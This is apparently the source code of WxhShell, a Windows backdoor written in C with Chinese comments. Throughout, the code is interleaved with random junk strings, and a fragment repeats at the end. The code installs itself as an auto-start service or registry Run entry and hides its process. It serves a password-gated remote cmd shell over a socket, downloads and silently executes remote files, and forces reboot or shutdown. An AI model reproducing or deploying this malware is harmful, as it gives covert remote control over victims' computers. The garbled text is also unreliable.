g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b6 g9! NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WOYZ |/-# N if (!NtQueryInformationProcess) return 0; AED
9vDE D9(4%^HxV1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uPFbKSJj if(!hProcess) return 0; 48gpXcc@| z:n
JN%Qb if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EZ Q!~ q9(O=7O]- CloseHandle(hProcess); E?0RR' Nf~B 1vkp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?#5)TAW if(hProcess==NULL) return 0; ~9fTs4U Z,3CMWHg HMODULE hMod; G*v,-O char procName[255]; wMH13i3 unsigned long cbNeeded; qztL M?iV I
tn?''~; if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]~WIGl"g 8BIPEY -I? CloseHandle(hProcess); Xp^>SSt:4 B]D51R\}VE if(strstr(procName,"services")) return 1; // 以服务启动 >03JQe_#*L [xs`Pi return 0; // 注册表启动 jaTCRn3|< } 7")&njQ/x ^-}3+YA // 主模块 lZ+1A0e int StartWxhshell(LPSTR lpCmdLine) ~ "~uXNd { %MfT5*||f SOCKET wsl; BD ,3JDqT BOOL val=TRUE; 51%<N\>/4 int port=0; D@mqfi(x struct sockaddr_in door; t/"9LMKs? ,"5p=JX` if(wscfg.ws_autoins) Install(); w68VOymD/ I>3G"[t port=atoi(lpCmdLine); RML'C:1 lce~6} if(port<=0) port=wscfg.ws_port; !hPe*pPVV) ^q~.5c| WSADATA data; j%0g*YI if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RG_)<U/B V> eJ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; E<_+Tc setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8j%lM/ v door.sin_family = AF_INET; 2wh{[Q2f door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5a l44[ door.sin_port = htons(port); Ks7kaX hWu#}iN if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?@_,_gTQ closesocket(wsl); s&OwVQ<M return 1; rNHV } |z%*}DPrpa w<4){.dA if(listen(wsl,2) == INVALID_SOCKET) { "Zicac@N closesocket(wsl); I."4u~[ return 1; ~R
W 6;
} X"G3lG Wxhshell(wsl); y+[wlo&WC WSACleanup(); Yc'7F7.<6 hta$k%2 return 0; +hvVoBCM* ?9H.JR2s% } ~Urj:l yYTiAvN // 以NT服务方式启动 ">RDa<H] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <$;fOp { 8>jd2'v{ DWORD status = 0; Y-,1&$& DWORD specificError = 0xfffffff; k}Vu!+c z hMs}r,* serviceStatus.dwServiceType = SERVICE_WIN32; l:kF0tj" serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0ID
8L
[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mk~Lkwl serviceStatus.dwWin32ExitCode = 0;
!*xQPanL serviceStatus.dwServiceSpecificExitCode = 0; Ts:pk serviceStatus.dwCheckPoint = 0; WS0RvBvb serviceStatus.dwWaitHint = 0; <BN)>NqM dTP$7nfe hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
*o[*,1Pw if (hServiceStatusHandle==0) return; L``K. DF P3YG:* status = GetLastError(); FCmS3KIa, if (status!=NO_ERROR) Om2
)$( { L7*~8Y serviceStatus.dwCurrentState = SERVICE_STOPPED; BT+ws@|[ serviceStatus.dwCheckPoint = 0; 'x10\Q65[ serviceStatus.dwWaitHint = 0; \bb,gRfP serviceStatus.dwWin32ExitCode = status; !$+J7\&7p serviceStatus.dwServiceSpecificExitCode = specificError; dDk<J;~jGJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); #6JCm!s return; N1!|nS3w } A]vQ1*pnk V9m1n=r serviceStatus.dwCurrentState = SERVICE_RUNNING; |v{a5|<E serviceStatus.dwCheckPoint = 0; r,b-c serviceStatus.dwWaitHint = 0; (#.)~poZ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ODM<$Yo:d } .,x08M z|yC [Ota // 处理NT服务事件,比如:启动、停止 AuU:613]W8 VOID WINAPI NTServiceHandler(DWORD fdwControl) Tr}c]IP* { an<tupi[E switch(fdwControl) ;comL29l2` { W~QZ(:IK case SERVICE_CONTROL_STOP: +kl@`&ga serviceStatus.dwWin32ExitCode = 0; TO)wjF_ serviceStatus.dwCurrentState = SERVICE_STOPPED; M|`%4vk> serviceStatus.dwCheckPoint = 0; BiHBu8< serviceStatus.dwWaitHint = 0; _" F(w"| { rC<m6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); QTK{JZf } =N
n0)l return; _Oq (&I case SERVICE_CONTROL_PAUSE: g!%csf serviceStatus.dwCurrentState = SERVICE_PAUSED; c66Iy" break; Rm *"SG case SERVICE_CONTROL_CONTINUE: `h
Y:F( serviceStatus.dwCurrentState = SERVICE_RUNNING; U]ouBG8/ break; +Mv0X%(N case SERVICE_CONTROL_INTERROGATE: `^afbW break; Yb x4 Up@ }; !H,R$3~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); e$tKKcj0T } Dx Vt ;LH?Qu;e // 标准应用程序主函数 4F8`5)RM int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .)u,sYZA| { |)IN20 w];t ]q| // 获取操作系统版本 iygdX2 OsIsNt=GetOsVer(); 8'#%7+ "=! GetModuleFileName(NULL,ExeFile,MAX_PATH); R{6.O+j` Tj*zlb4 // 从命令行安装 -D.6@@%Kc} if(strpbrk(lpCmdLine,"iI")) Install(); JT<Ia >1mCjP // 下载执行文件 o,Ew7~u if(wscfg.ws_downexe) { XUUS N if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Khw!+!(H WinExec(wscfg.ws_filenam,SW_HIDE); IEeh)aj[ } Q:kpaMA1P %r~TMU2" if(!OsIsNt) { /5r[M=_ihr // 如果时win9x,隐藏进程并且设置为注册表启动 E9226 HideProc(); .Fh5:WN StartWxhshell(lpCmdLine); 8X*6i-j5E } WFN5&7$ W else FQ(=Fnqn if(StartFromService()) #.tF&$ik // 以服务方式启动 '1r:z, o| StartServiceCtrlDispatcher(DispatchTable); xb_35'$M else K$'
J:{yY // 普通方式启动 tp*AA@~ StartWxhshell(lpCmdLine); $+[HJ{ ";",r^vr\ return 0; Fz)z&WT } t_@%4Wn!1L eVbHPu4 NY1olnI /k}vm3 =========================================== r"U$udwjg |$9k
z31 &&(sZGw S|!U=& UO<%|{W+ Z10#6v " a*S4rq@ )+mbR_@,O6 #include <stdio.h> "2 qp-'^[c #include <string.h> 3=5+NJ'8 #include <windows.h> `<Zp!Hl(j #include <winsock2.h> ]eP&r?B #include <winsvc.h> MF]s(7U4` #include <urlmon.h> > -Jd@7- tX Z5oG7 #pragma comment (lib, "Ws2_32.lib") vVZ@/D6w #pragma comment (lib, "urlmon.lib") `Nu3s<O7CF |7UR_(}KC #define MAX_USER 100 // 最大客户端连接数 \nPa>2r #define BUF_SOCK 200 // sock buffer OYNs1yB #define KEY_BUFF 255 // 输入 buffer ~XQN4Tv- a{69JY5 #define REBOOT 0 // 重启 0rA&_K[#-< #define SHUTDOWN 1 // 关机 s'fHhG6
}r*t
V) #define DEF_PORT 5000 // 监听端口 R^fVwDl\ )UZ
's>O #define REG_LEN 16 // 注册表键长度 NBE)DL #define SVC_LEN 80 // NT服务名长度 kUn55 l SH5GW3\h // 从dll定义API xC!, v 0& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3@s|tm1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <q%buyQna typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d5+ (@HSR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SS@#$t: )aOg_*~ // wxhshell配置信息 srJ,Jr( struct WSCFG { t#}/VnSQ int ws_port; // 监听端口 &d 9tR\} char ws_passstr[REG_LEN]; // 口令 p^7ZFUP int ws_autoins; // 安装标记, 1=yes 0=no GZ
UDI# char ws_regname[REG_LEN]; // 注册表键名 +;pdG[N char ws_svcname[REG_LEN]; // 服务名 [|xHXcW char ws_svcdisp[SVC_LEN]; // 服务显示名 x:"_B char ws_svcdesc[SVC_LEN]; // 服务描述信息 :kflq char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |AuN5|obI int ws_downexe; // 下载执行标记, 1=yes 0=no Nx;U]O6A char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?7/n s>} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,H1j&]E! Zz,E4+'Rm }; yo") G!BN D*DCMMp=0 // default Wxhshell configuration !ZD[ $lt+ struct WSCFG wscfg={DEF_PORT, n4qj"xQ "xuhuanlingzhe", .& B_\* 1, J/M1#sE "Wxhshell", kiZA$:V8 "Wxhshell", AAxY{Z-4 "WxhShell Service", t!AHTtI "Wrsky Windows CmdShell Service", P[?~KNS:/ "Please Input Your Password: ", W(1p0|WQ: 1, Fla,#uB "http://www.wrsky.com/wxhshell.exe", %#yCp2 "Wxhshell.exe" O:q 0- }; = %\;7 2r,K/' // 消息定义模块 'h.{fKG]ME char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (p-a;.Twj char *msg_ws_prompt="\n\r? for help\n\r#>"; N3TkRJZ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c*9RzD#Zj char *msg_ws_ext="\n\rExit."; x'+lNlv char *msg_ws_end="\n\rQuit."; k2"Z:\?z char *msg_ws_boot="\n\rReboot..."; C5\bnk{ char *msg_ws_poff="\n\rShutdown..."; <hkg~4EKc char *msg_ws_down="\n\rSave to "; ~:D}L }aRV)F char *msg_ws_err="\n\rErr!"; Ma:xxsH. char *msg_ws_ok="\n\rOK!"; "+[:\ S`5^H~ char ExeFile[MAX_PATH]; +D* b!5[ int nUser = 0; > mgbs> HANDLE handles[MAX_USER]; (`k0tC2 int OsIsNt; *Ny^XQ_ X 's8NO
Xlj SERVICE_STATUS serviceStatus; H"tS3 3 SERVICE_STATUS_HANDLE hServiceStatusHandle; 5qGRz"\p~ W> s@fN9 // 函数声明 KtA0
8?B int Install(void); w6'o<= int Uninstall(void); nMNAn}~*M int DownloadFile(char *sURL, SOCKET wsh); sFC&DTb? int Boot(int flag); j,8*Z~\5 void HideProc(void); WXp=>P[ int GetOsVer(void); dMp7 ,{FhF int Wxhshell(SOCKET wsl); g(7htWr4 void TalkWithClient(void *cs); $C##S@ int CmdShell(SOCKET sock); Pv1C o: int StartFromService(void); =4/LixsV| int StartWxhshell(LPSTR lpCmdLine); {W62%>v qDxz`}Ly= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t^)q[g VOID WINAPI NTServiceHandler( DWORD fdwControl ); $h`?l$jC(@ Yc3r3Jy // 数据结构和表定义 {l-,Jbfi` SERVICE_TABLE_ENTRY DispatchTable[] = KN'l/9. { Vrf2%$g {wscfg.ws_svcname, NTServiceMain}, eOt T* {NULL, NULL} no?TEXp* }; f"~+mO +M/04 // 自我安装 A=o
p R int Install(void) i44UqEb { 7v}4 Pl,$4 char svExeFile[MAX_PATH]; J/pW*G-U| HKEY key; p4\%*ovQt strcpy(svExeFile,ExeFile); &,4^LFZW {d.`0v9h // 如果是win9x系统,修改注册表设为自启动 |Vs|&0 if(!OsIsNt) { Ua#*kTF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =#[_8)q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @]1E~ RegCloseKey(key); VjS %!P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JUok@6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^)m]j`}IGb RegCloseKey(key); l!ltgj return 0; Hv>A$x$q } 6]Q
~c"+5 }
Ash"D~ } h6}oRz9=g else { B!K{y>|. N#Bg`:! // 如果是NT以上系统,安装为系统服务 C"PN3>x}j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hun
LV8z if (schSCManager!=0) a5{CkM&,( { #m1e_[ SC_HANDLE schService = CreateService [3>l^Q|# ( 6|r`
k75. schSCManager, :
FF:{&d wscfg.ws_svcname, wh
l)^D wscfg.ws_svcdisp, ;Z:z'';Lm SERVICE_ALL_ACCESS, W1f]A#t< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wb2N$Ew= SERVICE_AUTO_START, *YZ'Uy? SERVICE_ERROR_NORMAL, 41>Bm*if svExeFile, :Qh5ZO&G0 NULL, NDglse NULL, "ZEJL.Wy NULL, 0I* ^VGZ NULL, Z`v6DfK} NULL O66\s q ); u`$,S&Er if (schService!=0) %?J\P@ { 2/RK
pl & CloseServiceHandle(schService); e<dFvMO CloseServiceHandle(schSCManager); G'q7@d{' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <~!7? ak strcat(svExeFile,wscfg.ws_svcname); Pk T&zSQA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W%hdS<b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RX4O1Z0 RegCloseKey(key); )/PvaL return 0; Hq8<g$ } zh2$U
dZ|M } TKvUBy CloseServiceHandle(schSCManager); yc8FEn!)& } =\e}fyuK } 2w)0>Y(_ }P#%aE&- return 1; Mcj4GjV6:" } b[$%Wg wxB?} // 自我卸载 B3@ int Uninstall(void) w~afQA> { Wz nz HKEY key; aCcBmc .*:SZ3v if(!OsIsNt) { f/H rO6~k% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?t$sju(\ RegDeleteValue(key,wscfg.ws_regname); h`Vb#5ik RegCloseKey(key); 73P=<3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IhwJYPLF RegDeleteValue(key,wscfg.ws_regname); 9~I\WjB
" RegCloseKey(key); 18z{d9'F return 0; 90|p]I% } L7_(KC h } ZD/>L/ } 9xP{#Qa else { K20n355uE TDBWYppM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BWFl8
!_X if (schSCManager!=0) TyD*m$`y { 8jd<|nYnfc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KGxF3xS*7 if (schService!=0) Gg|'T}0X { 4*&x% ~* if(DeleteService(schService)!=0) { yZ~<!
5.P CloseServiceHandle(schService); EXH{3E54)` CloseServiceHandle(schSCManager); SJoQaR,)> return 0; yc|C}oQF } "5 PP<A,F( CloseServiceHandle(schService); n{d}]V@ } QG?7L_I CloseServiceHandle(schSCManager); sqi~j(&\1 } vD D !.i } m8n!<_NFt( Y;6<AIx> return 1; #QXv[%k } Wg[?i C*~ g9}u6q // 从指定url下载文件 Y'i0=w6G int DownloadFile(char *sURL, SOCKET wsh) (9*s:)zD- { @ \J R xJ HRESULT hr; /%po@Pm#I char seps[]= "/"; Wy@Z)z? char *token; q~p,A>K char *file; "h_]it};C char myURL[MAX_PATH]; zwR@^ 5^6 char myFILE[MAX_PATH]; Wv_5sPqLW 7J~6J.m strcpy(myURL,sURL); hE\,4c1 token=strtok(myURL,seps); oo)P(_"u while(token!=NULL) -}%'I]R= { R"6Gm67 t file=token; Kv:U QdnU[ token=strtok(NULL,seps); #i-!:6sLA } m?'5*\(ST bR?-B>EB GetCurrentDirectory(MAX_PATH,myFILE); N?Mmv| strcat(myFILE, "\\"); 7U:,:= strcat(myFILE, file);
2_vE send(wsh,myFILE,strlen(myFILE),0); (9';zw
send(wsh,"...",3,0); LeO
)) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qc;`nck if(hr==S_OK) H. uflO return 0; hghtF else B, xrZ s return 1; L$zT`1Hy W=5+k0Q } JmrQDO_( &UP@Sr0D7 // 系统电源模块 B7nMyoj
int Boot(int flag) %2^C { 5IW^^<kiu HANDLE hToken; -))>7skc TOKEN_PRIVILEGES tkp; [POcO YP>VC(f if(OsIsNt) { &YO5N4X~o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v|VY5vN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EhEn|%S tkp.PrivilegeCount = 1; ABNsi$]r0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -le:0NUwI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mz1Xk ]nE if(flag==REBOOT) { /4#.qq0\{c if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >ly= O return 0; j:"+/5rV8 } }!0,(<EsV else { {-^>)
iJqt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }E]`ly<Z return 0; aBr%"&Z.MG } , Ot3N\%yn } H`-%)c= else { BT
98WR"\ if(flag==REBOOT) { t"2WJ-1k} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bVtboHlY return 0; 4S 2I]d } 7$x@;%xd else { -2v|d]3qG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z{chAg\ return 0; 0vS%m/Zi- } [aO"9 } v 8{oXzyy PdMx6 Ab return 1; vnk"0d. } +hY/4Tx< }n6BI}n // win9x进程隐藏模块 AbZ:AJ(
void HideProc(void) X^_,`H@ { 1k2Ck vH#
US HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Br]VCp if ( hKernel != NULL ) X_HR$il { hz Vpv,|G pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PHDKx+$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s[nOB0 FreeLibrary(hKernel); $7TYix8= } uP|AP Vt
n$*ML return; &BG^:4b } ~#I1!y~` ~W5fJd0 // 获取操作系统版本 4E4o=Z|K int GetOsVer(void) >m}.}g8 { 7*'_&0 OSVERSIONINFO winfo; :b=`sUn<X+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s7FqE>#c0 GetVersionEx(&winfo); dAEz
hR[= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /,Ln)?eD return 1; ]_d(YHYf else 5tP0dQYd return 0; KPW: r#d } |t]-a%A=w 3(^9K2.s} // 客户端句柄模块 lxbbyy25 int Wxhshell(SOCKET wsl) Q;m
.m2 { x18ei@c SOCKET wsh; b44H2A. struct sockaddr_in client; >P\Tnb"Q\ DWORD myID; 70HEu@- }xLwv=Ia while(nUser<MAX_USER)
*}ay { "^_p>C)T int nSize=sizeof(client); ^%go\ C ; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wjS3ItB if(wsh==INVALID_SOCKET) return 1; 8Y5*
1E* rRT9)wDa handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b\=0[kBQw if(handles[nUser]==0) Ug_zyfr closesocket(wsh); &JfyXM[] else mWmDH74 nUser++; Pl1:d{"d } `E!t,*(*E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r}f-.Fo 7dPA>5"XD return 0; ,:>>04O } (~}l ?k ]YevO( // 关闭 socket r2""p void CloseIt(SOCKET wsh) G9E?
{ g^B6NF closesocket(wsh); M/UJb1< nUser--; LYWQqxB ExitThread(0); p@cPm8L3 } M_9|YjwS Kwh3SU=L} // 客户端请求句柄 (5km]`7z void TalkWithClient(void *cs) 'd(}bYr) { cB -XmX/ EVb'x Zr SOCKET wsh=(SOCKET)cs; f$2lq4P{ char pwd[SVC_LEN]; ZR..>= char cmd[KEY_BUFF]; OE4 2{?) char chr[1]; ANT^&NjJ7 int i,j; Jb
;el*,K >^<qke while (nUser < MAX_USER) { '?3Hy|} =i:?4pIZ if(wscfg.ws_passstr) { *:\QD 8 ^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !29
Rl`9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xFg=Tyq: //ZeroMemory(pwd,KEY_BUFF); AqN(htGvx i=0; PCw.NJd$ while(i<SVC_LEN) {
U,Z(h O~qB // 设置超时 dR$P-V\y`% fd_set FdRead; o"[qPZd> struct timeval TimeOut; OY[N%wr! FD_ZERO(&FdRead); 7F+f6(hB FD_SET(wsh,&FdRead); %eD&2$q* TimeOut.tv_sec=8; 4jG@ # TimeOut.tv_usec=0; dr9I+c7u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nHZ 4):` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>St <#`<Ys3b*! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^GRd;v=-@ pwd=chr[0]; uidE/7 if(chr[0]==0xd || chr[0]==0xa) { 6GJ?rE E/ pwd=0; z#,?*v break; ig?]kZ } It]CoAo+ i++; 1
#EmZ{* } #wC4$y<> H2k>E}` // 如果是非法用户,关闭 socket )Xg#x: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 60`y= !?f } Ma{|+\Q.Z t`F%$q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a2).Az send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N18Zsdrp &3u*
zV$ while(1) { Yt|{l >TL0hBaaR ZeroMemory(cmd,KEY_BUFF); VaQ}XM *RuUf // 自动支持客户端 telnet标准 ky!'.3yoI j=0; hTg%T#m while(j<KEY_BUFF) { >@rp]xx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 56TUh_ cmd[j]=chr[0]; hP9+|am% if(chr[0]==0xa || chr[0]==0xd) { :UScbPG cmd[j]=0; >
]6Eb`v break; \J1Jn~ } [8)Zhw$ j++; DM>j@(uWF } Xq J@NgsY C/]0jAAE7 // 下载文件 W}T+8+RU if(strstr(cmd,"http://")) { lHP[WO
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cT.1oaAM0 if(DownloadFile(cmd,wsh)) "J[Cr m send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gia_B6*Y[ else oq0G@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZYL]|/"J9 } F;MFw2G else {
fmloh1{4 l&T;G9z switch(cmd[0]) { #kV=;(lq Pb[wysy // 帮助 ,T1t` case '?': { eqjl$QWPJS send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r!#a. break; 9nd'"$ } z?E:s.4F // 安装 ux-Fvwoh case 'i': { Kb4u)~S: if(Install()) NCl={O9<j send(wsh,msg_ws_err,strlen(msg_ws_err),0); .O lq_wuH else ^iTjr$hQ; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >gVR5o
break; srC'!I=s>8 } f#mY44:,C // 卸载 )8e_<^M case 'r': { 8 Z#)Xb4 if(Uninstall()) SJ+.i
u/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); .!=g else 1Rwk}wL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ym!Ia&n break; vw+
@'+
} nc l-VN // 显示 wxhshell 所在路径 nDaQ1 case 'p': { "3}Bv
X char svExeFile[MAX_PATH]; bCE[oi6hb strcpy(svExeFile,"\n\r"); !&19%C4 strcat(svExeFile,ExeFile); ~":?}) send(wsh,svExeFile,strlen(svExeFile),0); "-^TA_XfI break; L! Q&?xP } ZRcY; ? // 重启 P_i2yhpK case 'b': { /<y-pFTg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cty.)e= if(Boot(REBOOT)) >F@7}Y( send(wsh,msg_ws_err,strlen(msg_ws_err),0); FtE%<QHt else { X"'}1o closesocket(wsh); <PJwBA %{ ExitThread(0); G~^Pkl3%T } 3QGg; break; >mh:OJH45 } T`f9jD // 关机 7eh}Je8 case 'd': { AA yzT*^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S{J$[!F if(Boot(SHUTDOWN)) %.<w8ag send(wsh,msg_ws_err,strlen(msg_ws_err),0); aA0aW=R else { VJJw"4DJ closesocket(wsh); V^.~m;ETu] ExitThread(0); ~M43#E[oOF } cH"M8gP# break; spn1Ji } I[&z#foN=w // 获取shell l<^#@S H case 's': { dkRJ^~ CmdShell(wsh); c+-L>dsss closesocket(wsh); WvNX%se]3 ExitThread(0); QbpRSdxy`$ break; m", $M> } aoMQ_@0 // 退出 b6oPnP_3P case 'x': { v,1.n{!; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P1H`NOC CloseIt(wsh); 1>l{c break; oREZ^pE@ } nG{jx_{` // 离开 UGr7,+N&w case 'q': {
voV=}.(p send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;>|:I(l; closesocket(wsh); CWt,cwFW WSACleanup(); UZ&bT'>;9g exit(1); O,: en t| break; o_os; } g8}/Ln*W' } vZ$uD,@;. } _0^<)OSY 8|V6Rg A% // 提示信息 [#uX{!q' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D='/-3f!F] } 0(-'L\<>x } Qh)@-r3 <@5# return; r~TiJ?8I } Q)H Vh[4 >
NK?!!A_ // shell模块句柄 g"xLS}Al int CmdShell(SOCKET sock) 4d9iAN { -\AB!#fh STARTUPINFO si; S1 %{/w ZeroMemory(&si,sizeof(si)); N$?mula si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7P:0XML} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yq<D(F#qx PROCESS_INFORMATION ProcessInfo; :]e:-JbT4z char cmdline[]="cmd"; OFCkQEG=y> CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QQ1+uY return 0; yq\)8Fe } %=\h=\wt L{'qZ#N[ // 自身启动模式 >0:h(,?V int StartFromService(void)
<k/'mBDk { d/Fjs0pt typedef struct `;5UlkVZ5 { az0( 54M DWORD ExitStatus; !tHqF DWORD PebBaseAddress; 18V*Cu DWORD AffinityMask; esbxx##\ DWORD BasePriority; fy9{W @E3p ULONG UniqueProcessId; *sB=Ys? ULONG InheritedFromUniqueProcessId; qV8;;&8r } PROCESS_BASIC_INFORMATION; eJ$?T7aUf h'w9=Pk~6y PROCNTQSIP NtQueryInformationProcess; 8~\Fpz|Og qs 52)$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rm(<?w%'? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `H^Nc\P# DQH _@-q HANDLE hProcess; aztP`S$h PROCESS_BASIC_INFORMATION pbi; 4D9lZa} {HvR24# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Af
^6 if(NULL == hInst ) return 0; bo\|mvB~ W&BwBp]K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fx%'7/+ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^fXNeBj NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HSp*lHU RE!MX>sOEq if (!NtQueryInformationProcess) return 0; H*EQ%BLW^, DTn=WGm) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DV*8Mkzg if(!hProcess) return 0; 9%kY8#%SV -!(3fO: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \9@*Jgpd6*
KW^s~j CloseHandle(hProcess); f9&D0x? Mwp#.du( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xgsD<3 if(hProcess==NULL) return 0; tG{e( 6<sB HMODULE hMod; dq"b_pr; char procName[255]; X
